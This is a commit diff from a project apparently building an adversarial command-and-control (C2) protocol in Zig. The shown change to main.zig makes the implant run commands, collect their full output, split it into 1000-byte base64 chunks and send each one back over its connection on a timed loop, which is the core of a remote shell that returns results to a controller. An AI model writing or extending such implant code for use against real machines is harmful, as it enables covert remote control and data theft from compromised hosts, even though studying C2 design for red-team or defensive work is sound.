Adversarial C2 Protocol Implemented in Zig
Chunk messages to 1000 byte payloads
+17
-6
+2
src/Client.zig
+2
src/Client.zig
+2
src/RawSocket.zig
+2
src/RawSocket.zig
+13
-6
src/main.zig
+13
-6
src/main.zig
···
127
127
var child_stderr: std.ArrayList(u8) = .empty;
128
128
defer child_stderr.deinit(init.gpa);
129
129
130
-
try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 2048);
130
+
try child.collectOutput(init.gpa, &child_stdout, &child_stderr, std.math.maxInt(usize));
131
131
132
-
const b64e = std.base64.standard.Encoder;
133
-
var cmd_output_buf: [2048]u8 = undefined;
134
-
const encoded_cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
132
+
// const b64e = std.base64.standard.Encoder;
133
+
var cmd_output: Writer = blk: {
134
+
var cmd_output_buf: [2048]u8 = undefined;
135
+
break :blk .fixed(&cmd_output_buf);
136
+
};
135
137
136
-
connection.send(init.io, encoded_cmd_output) catch continue;
137
-
try init.io.sleep(.fromMilliseconds(40), .real);
138
+
var cmd_output_window_iter = std.mem.window(u8, child_stdout.items, SaprusClient.max_payload_len, SaprusClient.max_payload_len);
139
+
while (cmd_output_window_iter.next()) |chunk| {
140
+
cmd_output.end = 0;
141
+
try cmd_output.print("{b64}", .{chunk});
142
+
try connection.send(init.io, cmd_output.buffered());
143
+
try init.io.sleep(.fromMilliseconds(40), .real);
144
+
}
138
145
}
139
146
}
140
147
}